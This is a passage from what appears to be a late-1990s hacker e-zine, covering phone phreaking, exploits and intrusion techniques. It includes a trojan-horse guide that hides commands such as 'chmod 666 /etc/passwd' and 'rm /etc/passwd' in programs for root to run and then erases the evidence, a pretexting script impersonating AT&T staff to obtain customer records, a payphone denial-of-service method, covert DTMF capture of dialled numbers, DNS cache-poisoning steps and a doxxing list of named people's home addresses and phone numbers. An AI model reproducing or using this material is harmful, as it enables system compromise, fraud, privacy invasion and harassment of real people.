E_O_F # Compile it $CC -o ps_expl ps_expl.c # And off we go! exec ./ps_expl ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9. 0wned.c : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ /* THIS IS FUCKING PRIVATE SHIT, DONT DISTRIBUTE IT!@# */ /* I CODED THIS QUICKLY ONE NIGHT, IT WILL ROOT ANY LINUX 2.0.x BOX */ /* -D-O- -N-O-T- -D-I-S-T-R-I-B-U-T-E- */ /* so1o@insecurity.org */ main() { char a1='j',a2='0',a3='a',a4='r',a5='3'; char b1='w',b2='n',b3='d'; printf("%c%c%c %c%c%c\n",a1,a2,a2,a3,a4,a5); printf("%c %c %c %c %c\n\n",a2,b1,b2,a5,b3); printf("By so1o@insecurity.org 1997\n"); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ =============================================================================== ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]== =============================================================================== ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1. DTMF Decoder : xFli ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DTMF Decoder plans. ------------------- If you are into bigtime surveillance, or you just have some burning desire to get the phone number of your sisters sexy friend, then you will be interested in this little circuit. Basically, using this, you can use a tape recorder and a pickup coil to record the DTMF tones sent when someone dials a number, or if it is easier to you can wire it up to a phone jack and decode in realtime, and then decode them to get the number dialled. This can cope with speed dialling, but you will need a reasonably good recording to decode successfully. The circuit is simplicity itself, literally only 5 components. I could have included an unreadable ascii circuit diag / pcb layout, but it would have been a waste of time, so the diags are available from http://www.codez.com and other CodeZero sites. The hardware takes the DTMF signal, decodes it and sends it to lpt1, where the binary output of the ic is converted into standard numbers. The simple BASIC program is included. Which is precompiled on http://www.codez.com Component list: ---------------- 1 x SSI202 18 pin Chip 1 x 3.579 MHz quartz crystal 2 x 27n Capacitors 1 x 1M resistor Source: -------- DTMF DECODER SOFTWARE ------------------------------------------ ' Use this to decode the output from the decoder hardware ' Not written by xFli, suggested in an electronics mag. 10 CLS:KEY OFF 20 I=INP(&H279) 30 IF (I AND 128)=128 THEN 30 40 C=0 50 IF (I AND 8)=8 THEN C=C+1 60 IF (I AND 16)=16 THEN C=C+2 70 IF (I AND 32)=32 THEN C=C+4 80 IF (I AND 64)=64 THEN C=C+8 90 IF C=11 THEN PRINT" * ";:GOTO 180 100 IF C=12 THEN PRINT" # ";:GOTO 180 110 IF C=13 THEN PRINT" A ";:GOTO 180 120 IF C=14 THEN PRINT" B ";:GOTO 180 130 IF C=15 THEN PRINT" C ";:GOTO 180 140 IF C=0 THEN PRINT" D ";:GOTO 180 150 IF C=10 THEN PRINT" 0 ";:GOTO 180 160 PRINT C; 170 I=INP(&H279) 180 IF (I AND 128)=0 THEN 180 190 T=TIMER 200 I=INP(&H279) 210 IF (TIMER-T)>5 THEN PRINT:PRINT:GOTO 30 220 IF (I AND 128) = 128 THEN 210 230 GOTO 50 In the magazine, it is advised you use gw-basic, which is included with very very early DOS versions. It may or may not work with qbasic etc. I don't know. These are also for UK tones, maybe they are different in the US. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 2. Dealing With Directory Assistance Operators : Qytpo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Alright, this information should be made available to everyone who cares to read it. Any information used from this article is to be used at a persons own risk. i will not be held responsible if any of this is used for wrongfull purposes- ( it can, you just have to get really creative ). Well, to start off, the job of the directory assistance operator, is to give out addresses, phone numbers, and area codes, for the information given to them. The operators can search from names, business names, and government names, despite what anyone tells you, an AT&T DIRECTORY ASSISTANCE OPERATOR CAN DO A CNA SEARCH. (Customer name and address) If the particular operator says they cant, then bug them. yell at them. if they dont do it themselves, they will get their supervisor. and if you make it sound really important they can do it. and if all that doesnt work, try to find a naive operator, tell them you are an AT&T administrator, and say, to press (Control+C) to bring up a CNA search on their switch. A CNA search is a very valuable asset, if you cannot find a CNA operator, give a directory assistance operator a whirl, chances are, if you have a brain, and are a decent actor, you can get the listing for the number you give them. Routing. The calls are routed through a large mainframe in each state department How it works: Say you dial, 602-555-1212. that would put you through to an operator ANYWHERE in the United States, where phoenix calls are routed through to. it will not just appear in 602, allthought that is where it is supposed to. If the switches in 602 are full, the call could end up anywhere in the US. When the operator picks up the reciever- (it is actually a headset that beeps). The call is automatically traced to whatever area code they dialed. so if You dialed (602 555 1212). an operator anywhere in the US, would get a listing on their screen, and a default city, in the upper left hand corner [PHOE] (phoenix arizona). [ *note*: depending on the area code, 602 for example, the operator can search the area codes permitted in that area code..] for example, if you dialed 602-555-1212, the operator would be allowed to search in 502 (the other area code in AZ) However, in some area codes, they will make you redial, like LA, or TEXAS, or NEWYORK; they have so many area codes, For example 310 and 210, in LOS ANGELES If you wanted a listing for LOS ANGELES, and dialed 210-555-1212, and wanted a listing for city in los angeles which was 310, they would make you hang up and dial 310-555-1212. (the operator shuld be saying to himself/herself, "no, this kiddie needz to call 310 instead, or i get fired for giving out bad information"...if they have a clue) Sample Call to a D A O for a CNA Search: ( The best way to get info ) ( caller dials 555-1212 in area code ) City please? Yes, this is James Thornton at AT&T the AT&T administrative assistance office. I need you to do a CNA Search for me. I'm sorry sir, we're not permitted to do CNA searches. Yes, I know. May I speak to a supervisor? This is So and So supervisor, how can I help you sir? Yes, this is James Thornton down at the AT&T (also called Excel) office in Florida, we need a CNA search done for a XXX-XXX-XXXX. One moment please. Ok. Ok, I am (or am not) showing a listing for XXX-XXX-XXXX, would you like that listing sir? Yes please, and I would like that verbally. (if you time it just right, you can get the info for free. if yer beige boxing, it doesnt really make a difference tho.) - hang up, say "what" a few times, to make it sound like you didnt get the listing. and hang up before she finishes the second time. she can only bill you while you are on the line, and if she fucks up, you can get away with it with no bill while they read you the number. This method only works for a verbal listing. if yer quick enough. ;) - - - The NPA RULES. - - - NPA dialed : NPAS PERMITTED TO SEARCH IN FROM THE NPA DIALLED -----California---- 213 213 209 408 510 707 916 408 209 510 415 510 707 510 209 408 415 707 916 707 209 415 510 916 714 714 916 209 510 707 -------Texas------- 210 512 915 214 817 903 972 281 409 713 409 281 512 713 817 903 512 210 409 817 915 713 281 409 806 817 915 817 214 409 512 806 903 903 214 409 817 915 210 512 806 817 972 214 817 903 -----New York------ 212 718 914 917 315 518 607 716 516 718 518 315 607 914 607 315 518 716 914 716 315 607 718 212 518 914 914 212 518 607 718 917 (cell) 212 718 914 *note*: all other states can search all NPA's listed in that state. - Qytpo (@#hackers on EFnet) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 3. Russian fone #'s (+7 095 XXXxxxx) : CyberLirik ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Some Interesting ph0ne #'s [04.07.97] [RUSSiA] +7 095 XXXxxxx written by CyberLirik (lirik@hotmail.com) [www.sqrt.com] ---------------------------------------------------------------- AT&T Calling Cards Service ---------------------------------------------------------------- 9740074 Tone System - AT&T Moscow HQ switch to tone mode press 0 to page operator then by pressing "1" ya can record your voice message then by pressing "2" & "3" ya can hear your record :) 7555042 English-speeking AT&T operator 1555042 Also Automate AT&T Calling System is here ( tone ) 7555555 Russian-speeking AT&T operator 1555555 No AT&T Tone Machine ! ---------------------------------------------------------------- Sprintnet Local Dial-Ups 02501 & 03110 DNICs GlobalOne = Sprintnet = Telenet ---------------------------------------------------------------- 9286344 9600 9280985 9600 9137166 9600 < Only for MAIL 5789119 2400 3428376 9600 real connect 2400 9167373 SprintNet V34-19200 9167272 ??? 9167171 ? 00wait8 RoSprint PPP dialup. ---------------------------------------------------------------- ROSPAC Local Dial-Ups 02500 DNIC ---------------------------------------------------------------- 9270003 9600 9563692 9600 9563690 ---------------------------------------------------------------- RosNet Dialups 02506 DNIC ---------------------------------------------------------------- 975-8403 913-3571 921-2103 201-2030 Voice:(095)206-8570,206-8458,206-7238 442-6422 442-8277 442-7022 442-8388 442-7088 442-8577 442-8077 442-6477 20-906,33-571 Iskra-2 ---------------------------------------------------------------- IBM GLOBAL network Dial-Up (aka old Advantis Network) ---------------------------------------------------------------- 2586420 ---------------------------------------------------------------- Russia@Online Dial-Ups 28.8Kbps ---------------------------------------------------------------- 9132376 30 lines 2584120 60 lines 3619999 2584161 Voice phone ! ---------------------------------------------------------------- InfoNet Euro ---------------------------------------------------------------- 9150001 28.8 9150005 28.8 2400 temp [unpublished] 2400 temp [unpublished] 2400 temp [unpublished] 2400 temp [unpublished] 2927056 Infonet Euro Voice ! ---------------------------------------------------------------- Sita Network (AOLGLOBALnet & SCITOR {aka EQUANT} ) ---------------------------------------------------------------- 9563589 14400 9676767 9676730-9676769 9676767 9676784 9562455 SITA voice! phones 9564736 ---------------------------------------------------------------- BT-Tymnet ---------------------------------------------------------------- 956-0699 9600 Real Tymnet Voice 9563678 503/9563691 TYM-X25 Sync ---------------------------------------------------------------- CentroNet DialUp www.astro.ru ---------------------------------------------------------------- 7511704 14400 ---------------------------------------------------------------- Infotel dialUps [02504] ---------------------------------------------------------------- 9585475 9580226 9580825 9580575 ---------------------------------------------------------------- MMTEL DialUPs [02503] address on login:.db ---------------------------------------------------------------- 3371001 5 lines 2419860 2418340 2461661 ---------------------------------------------------------------- www.Cityline.ru V34 ---------------------------------------------------------------- 2587884 40 lines 9567759 20 2341901 10 2450070 10 2454414 10 ---------------------------------------------------------------- http://www.telekom.ru Elvis+ Proxy 194.190.195.71. DNS 195.190.195.66. temp 192.168.12.1 SLIP login: iptest PPP login: pptest Password: guest ---------------------------------------------------------------- 974-51-22 (24 «¨­¨¨) 961-51-22 (24 «¨­¨¨) 230-61-84 (5 «¨­¨©) 152-53-44 152-97-47 152-94-09 152-31-72 152-93-32 152-53-29 152-93-33 152-41-09 152-53-38 258-96-31 (30 «¨­¨©) 247-66-22 (30 «¨­¨©) 532-82-47 ‡¥«¥­®£à ¤áª¨© 㧥« 532-81-98 532-81-29 ---------------------------------------------------------------- www.dataforce.net ---------------------------------------------------------------- 9566749 voice 2889340 2340591 (16 «¨­¨©) ---------------------------------------------------------------- PTT-Teleport www.ptt.ru ---------------------------------------------------------------- 946-9383 voice about x.25,28,etc 946-9393 modem PPP ---------------------------------------------------------------- Demos 33.8 V34 HST ---------------------------------------------------------------- 958-19-75 958-19-81 l:_demo 956-62-85 p: demo 956-62-86 241-05-05 961-32-00 ---------------------------------------------------------------- Dial ups mailto:_CRUSAIDER2_@MSN.COM ---------------------------------------------------------------- 281-0201 975-0520 (37) ---------------------------------------------------------------- INTEL PORT : ---------------------------------------------------------------- 956-4787 Main 434-1565 Registration 202-6934 Demo ---------------------------------------------------------------- Youth Science Center Linux server Dmitry Ablov 9540012 ---------------------------------------------------------------- Data lines: Line 1: 954-0664 (14400, 24h, UUPC only) 2: 954-0058 (14400, 21:00 - 09:00) 3: 954-0914 ( 9600, 21:00 - 09:00) 4: 954-0147 (33600, 24h, PPP only) 5: 954-0144 (33600, 24h, RAS only) 6: 954-0445 (33600, 24h, restricted) ---------------------------------------------------------------- Comstar Dialup ---------------------------------------------------------------- 2324626 2329696 ---------------------------------------------------------------- www.com2com.ru ---------------------------------------------------------------- 234-7171 PPP check 956-0112 PPP check ---------------------------------------------------------------- www.gamma.ru ---------------------------------------------------------------- 742-04-42 (6 «¨­¨© USR Courier 33600) 232-68-06 (5 «¨­¨© USR Courier 33600) 913-39-44 (1 «¨­¨ï USR Courier 33600) 939-15-57 (1 «¨­¨ï USR Sportster 28800) 939-35-26 (1 «¨­¨ï USR Sportster 28800) 939-26-18 (Zyxel 19200) 932-88-78 (1 «¨­¨ï GVC 2400) 939-18-51 (1 «¨­¨ï GVC 2400) ---------------------------------------------------------------- Mr Postman sunny.aha.ru ---------------------------------------------------------------- 9566243 42?lines USRobotics Courier V.Everything (33600 V.34+) 9560124 JS Comstar 2512555 MGTS (Moscow PSTN), Miusskiy node 2512591 2511030 ---------------------------------------------------------------- www.co.ru Combellga ---------------------------------------------------------------- 9265020 9357120 (¢á¥£® 30 ¢å®¤®¢) ---------------------------------------------------------------- www.techno.ru ---------------------------------------------------------------- 234-33-03 (á¥à¨ï 8 ⥫.) 965-09-93 965-09-01 465-67-07 463-25-20 461-82-11 965-10-19 (28 «¨­¨©) Online guest 234-35-99 ---------------------------------------------------------------- www.redline.ru ---------------------------------------------------------------- 956-67-56 928-84-29 (á¥à¨ï 17 «¨­¨©) 200-24-71 ---------------------------------------------------------------- www.netclub.ru ---------------------------------------------------------------- 2476205 (US Robotics 33600) 2476204 (Zuxel) ---------------------------------------------------------------- www.space.ru ---------------------------------------------------------------- 913-50-20 747-33-55 (¢á¥£® 33 «¨­¨¨) ---------------------------------------------------------------- www.relcom.ru ---------------------------------------------------------------- 946-99-84 946-99-94 926-50-18 947-55-99 913-57-47 753-07-77 742-57-27 ---------------------------------------------------------------- www.sitek.ru ---------------------------------------------------------------- 963-31-01 963-21-01 963-11-01 964-10-01 (60 «¨­¨©). ---------------------------------------------------------------- www.glasnet.ru ---------------------------------------------------------------- 928-44-46 928-00-53 262-02-09 262-20-72 262-02-27 927-41-11 975-00-54 971-52-01 (¢á¥£® ¡®«¥¥ 170 ¬®¤¥¬­ëå ¢å®¤®¢). ---------------------------------------------------------------- www.synapse.ru ---------------------------------------------------------------- 201-25-87 203-47-44(â) 956-47-87(â) ---------------------------------------------------------------- web.rosmail.com POCHET ---------------------------------------------------------------- 924-85-69 956-61-02(30 ¢å®¤®¢) ---------------------------------------------------------------- www.park.ru ---------------------------------------------------------------- 247-62-36 932-91-40 ---------------------------------------------------------------- www.rinet.ru ---------------------------------------------------------------- 9567800 9138111 (33600) ---------------------------------------------------------------- www.compnet.ru ---------------------------------------------------------------- 964-31-01 963-20-01 ---------------------------------------------------------------- www.corbina.ru ---------------------------------------------------------------- 7559298 (USR Courier 33600) 7851102 ---------------------------------------------------------------- Misc Voice/t0ne/Carrier services ---------------------------------------------------------------- 00wait5 STB Card processing center 00wait9 free information service 9629424 demo user code : 12345 FaxInfo Demo Voice Line 9759220 Telephone Voice Bulletin Board 7059285 leave me mail in 80718 box 9253503 Online registration 4 email 9253507 billing for telephone # 2587474 Logon: 2586435 2586411 2586414 30;32 9269199 9500885 9563686 9564787 Interport Mailbox ( t0ne ) 9560050 Unknown system ( t0ne ) 9585474 PassWord: 7473355 ASVT Dial Up Gateway 2 Users: Oleg & Alex 9560885 "The Microsoft Network is no longer providing MSN in Russia" ---------------------------------------------------------------- _always_ BUSY #s ( unpluged ) ---------------------------------------------------------------- 111-11xx 222-2222 980xxxxx-999xxxxx ---------------------------------------------------------------- Gate to Iskra2 lines ---------------------------------------------------------------- 742xxxx Call for 8-097-2nodes 913xxxx Call for 8-097-3nodes -=-=-=-=-=-=-=-=-=-=-= Free 800 Services =-=-=-=-=-=-=-=-=-=-=- þ Moscow #s 7473320 Rus MCI Operators in California 7473322 Eng connect me to Customer's Service in Russian 7473321 AT&T Operators in New-York 7473323 7473324 Sprint Global, Arizona, USA 7473325 Orua,Canada 7473326 Otele Code ? 7473327 National Calling Center, UK 7473328 7473329 Japan 7473356 Sprint Calling Cards 7473357 7473359 France service 7473360 7473361 Italian service 7473363 Chili ? service þ National Russian #s 8-10 800 4977211 - ‘˜€( AT&T); 8-10 800 4977222 - ‘˜€( MCI); 8-10 800 4977255 - ‘˜€( Sprint) ; 8-10 800 4977220 - ‘˜€(MCI àãá᪮ï§ëç­ ï á«ã¦¡ ); 8-10 800 4977233 - Š ­ ¤  (Teleglob); 8-10 800 4977266 - ‚¥«¨ª®¡à¨â ­¨ï(BT); 8-10 800 4977277 - ‚¥«¨ª®¡à¨â ­¨ï( Mercuri); 8-10 800 4977288 - ‚¥­£à¨ï; 8-10 800 4977181 - Ÿ¯®­¨ï ( KDD); 8-10 800 4974358 - ”¨­«ï­¤¨ï( Telecom Finland); 8-10 800 4977032 - ¥«ì£¨ï (Belgacom, calling cards); 8-10 800 4977212 - ¥«ì£¨ï ( Belgacom,operator); 8-10 800 4977039 - ˆâ «¨ï (Iritel); 8-10 800 4977353 - ˆà« ­¤¨ï ( Telecom Iriland); 8-10 800 4977156 - —¨«¨; 8-10 800 4977165 - ‘¨­£ ¯ãà; 8-10 800 4977141 - ˜¢¥©æ à¨ï. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 4. How to fuck over a UK payphone : so1o / NightRage ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ We found this out by total coincidence at the Bristol 2600 meeting... This is a DoS (Denial of Service) attack for payphones in the UK, it uses the national test number (175) and your local test number - at your local excahnge, which in Bristol is 17070 (I think), so you do the following... 1) Approach the telephone booth. 2) Pick up the handset. 3) Put 10p into the phone - you will get this back. 4) Dial your local excahnge test number. 5) Put the handset down. 6) Pick the handset up. 7) Dial your national exchange test number. 8) Listen to all the noise and shit for about 10 seconds. 9) Put the handset down. The LCD display in the booth will now say words to the following.. "BT Apologise, but this telephone is out of order." About 30 seconds later, the phone will return back to normal. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 5. Radio link for TI-85 calculators : Michael Jan ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ******************************************************************** -- INTRO ----------------------------------------------------------- ******************************************************************** RT LINK (Radio transfer link) basicly functions like a regular TI-LINK except it is wireless! The parts for making this link will cost around $15 - $20 dollars for a pair, and the frequency is adjustable. You may post & share this plan. But please give me credit for my work (at least put my name, Michael Jan). I TESTED this plan, they transfer within the range of 30 to 50 feet. (Which is more than what I expected, great!). The following are the parts you need, you can obtain them at R.S. ******************************************************************** -- PARTS ----------------------------------------------------------- ******************************************************************** PARTS VALUE QUANTITY -------------------------------------------------------------------- TI LINK [TI BLACK LINK] 1 (Cut Into 2) Capacitors [470 pF] 2 [100 pF] 2 [10 pF] 2 [4 pF] 4 [.01 uF] 2 [10 uF] 4 Resistors [10K Ohm] 2 [1.2K Ohm] 2 [33K Ohm] 4 [100 Ohm] 2 [180 Ohm] 2 Transistors [2SC1923] 4 Coil(L) [.27-.3] 4 Battery Holder [Holds 2 AA or 2 AAA] 2 Batteries [AA or AAA] 4 Diode [Germanium] 2 Copper Wire [2 Feet] 2 (Ant.) ***************************************************************************** *** NOTE The Parts Are For TWO RT LINKs, Because They ONLY WORK In PAIRS! *** ***************************************************************************** ******************************************************************* -- DIRECTIONS ----------------------------------------------------- ******************************************************************* 1. Print Out The Schematic Diagram (The Included GIF File), It is Easier To Put Parts Together. 2. Put The Parts Together By Following The Diagram (VERY IMPORTANT). *** NOTE For Schematic Diagram -- Red Wire = From TI Link White Wire = From TI Link (Copper Wire From TI Link Will Not Be Use) R = Resistors C = Capacitors T = Transistors Connect +, - To Battery Holder 3. Adjust The 4 Coil(L)s Clockwise To MAX On Both RT Links. This Will Adjust The Frequences On Both LINKs To Be The Same. (You Can Adjust To Any Frequence You Like Between 90MHz-100MHz) 4. Put 2 Batteries Into Both Holders 5. THAT'S IT!!!, ENJOY YOUR RT-LINK !!!! =) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ =============================================================================== ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]== =============================================================================== ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1. More sIn inf0z : The CodeZero + Friends ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sIn are 0fficially property of the CodeZero. ------------------------------------------------------------------------------- Alias : Evil Chick Real Name : Suzette Kimminau Address : 130 105th Ave. S.E. Apt. 218 Bellevue, Wa 98004 USA Telephone : (206)454-7176 Email : evilchic@NWLINK.COM ------------------------------------------------------------------------------- Alias : \\StOrM\\ Real Name : Jason Sloderbeck Address : 5739 N Norton, Kansas City, MO 64119 USA Telephone : (816)453-8722 Email : storm@SINNERZ.COM ------------------------------------------------------------------------------- Alias : JDKane Real Name : Kim Address : 327 E Park Road, Round Lake, IL 60073 USA Telephone : (847)546-9154 Email : ------------------------------------------------------------------------------- Alias : JeNnYGrRl Real Name : Jennifer Chambers Address : Kansas City, MO 61421 USA Telephone : Email : ------------------------------------------------------------------------------- We got more, but not complete, They can run, but they can never hide, http://www.codez.com/inf0z.html ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 2. Rooting From Bin : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is something I was thinking alot about the other day, I was on a System V Release 4, I had just performed the chkperm exploit, which only gives bin access (uid=1 and gid=1) to the system, so even though I own all the files in the /bin/ directory, I am still not root. Here is a very very simple technique I developed for such occasions, this may come in useful one day for someone, somewhere... Write a program that you can get people to run, you could get hold of the source for a common program, such as su or who or mount. Put this line in it somewhere: if ( !strcmp(getlogin(),"root") ) system("whatever you want"); This checks to see if the root login is running your program. If he is, you can have him execute any shell command you'd like. Here are some suggestions: "chmod 666 /etc/passwd" /etc/passwd is the system's password file. The root owns this file. Normally, everyone can read it (the passwords are encrypted) but only the root can write to it. Take a look at it and see how it's formatted if you don't know already. This command makes it possible for you to now write to the file - i.e. create unlimited accounts for yourself and your friends. "chmod 666 /etc/group" By adding yourelf to some high-access groups, you can open many doors. "chmod 666 /usr/lib/uucp/L.sys" Look for this file on your system if it is on the uucp net. It contains dialups and passwords to other systems on the net, and normally only the uucp administrator can read it. Find out who owns this file and get him to unknowingly execute a program to unlock it for you. "rm /etc/passwd" If you can get the root to execute this command, the system's passwd file will be removed and the system will go down and will not come up for some time to come. This is very destructive and evil, but pointless, if you do want to damage a system, at least use your imagination. If you are going to go about adding a trojan horse program to the system, there are some rules you should follow. If the hidden purpose is something major (such as unlocking the user's mbox or deleting all of his files or something) this program shouldn't be a program that people will be running a lot (such as a popular computer game) - once people discover that their files are public access the source of the problem will be discovered quite easily. Save this purpose for a 'test' program (such as a game you're in the process of writing) that you ask individual people to run via mail or 'chatting' with them. As I said, this 'test' program can bomb or print a phony error message after completing its task, and you will just tell the person "well, I guess it needs more work", wait until they log off, and then read whatever file of theirs that you've unlocked. If your trojan horse program's sole purpose is to catch a specific user running it - such as the root or other high-powered user - you can put the code to do so in a program that will be run a lot by various users of the system. Your modification will remain dormant until he runs it. If you cant find the source to 'star trek' or whatever in C, just learn C and convert something from pascal. It can't hurt to learn C as it's a great language. We've just seen what it can do on a UNIX system. Once you've caught the root (i.e. you can now modify the /etc/passwd file) remove the spurious code from your trojan horse program and you'll never be caught. so1o. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 3. DNS Spoofing : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ You can now use a new DNS spoofing technique originally developed by johan, I have seen this technique often applied to IRC, and prym was one of the first to use the technique for that purpose. Here is a basic introduction into the DNS concept. -------------------------------------------------- DNS stands for Domain Name Server although you may hear it refered to as Dynamic Name Server. DNS servers are used so that instead of everyone having numeric IP's for their websites and shit, they can use a DNS so that a client can 'lookup' the name (eatme.com for example) to the numeric IP. Basically, a DNS server is a computer which is running a nameserver daemon typically listening on UDP port 53. When a new domain is setup the domain is registered with Internic. Internic then tells its clients who has authority over the domains registered with it. For example say 1.2.3.4 wanted to resolve the address for peachie.com and 1.2.3.4's nameserver was 1.3.3.7. 1.2.3.4 would ask 1.3.3.7 what the numeric IP for peachie.com was, so 1.3.3.7 would ask internic who had authority over peachie.com and internic might reply with ns.peachie.com. So then 1.3.3.7 would ask ns.peachie.com what the numeric IP for peachie.com was. Then ns.peachie.com would tell 1.3.3.7 that the numeric IP for peachie.com was 4.3.2.1 and then 1.3.3.7 would then tell 1.2.3.4 the numeric IP and the name would be resolved. DNS servers generally cache addresses that are looked up by its clients. So if 1.2.3.4 were to ask 1.3.3.7 what the address for taco.com was again, 1.3.3.7 would not ask Internic etc. instead it would take the IP that it had previously resolved earlier and say that the numeric IP for peachie.com is 4.3.2.1. the funny part is that the DNS server doesn't do alot of checking when another nameserver replies to its query. It basically just tells the client what is was told at an earlier point and caches it in the same way. This is why we can spoof using such a technique, but we would need root access to a nameserver first, this is one of the biggest setbacks... How to spoof your DNS. ---------------------- Lets say were sitting on ns.peachie.com with root, and we have authority for all of peachie.com. we want to cache our boxs address 2.2.2.2 on the remote nameserver ns.eatme.org so that we can connect to eatme.org with the address of trusted.eatme.org. We could write a program that listens for DNS queries and replies with false information. sitting on ns.peachie.com we could lookup peachie.com on the nameserver ns.eatme.org. ns.eatme.org would ask Internic who had authority for peachie.com and it would reply to ns.eatme.org that ns.peachie.com had authority over peachie.com. Then ns.eatme.org would ask ns.peachie.com what the address for peachie.com was. If we were running a normal DNS then it would tell ns.eatme.org that the address for peachie.com was 4.3.2.1. but we aren't. We'll say that ns.peachie.com tells ns.eatme.org that the reverse of 2.2.2.2 is trusted.peachie.com and the address for trusted.peachie.com is 2.2.2.2. This exploits the failure to check a few things on the DNS. Basically ns.eatme.org asked what the numeric IP 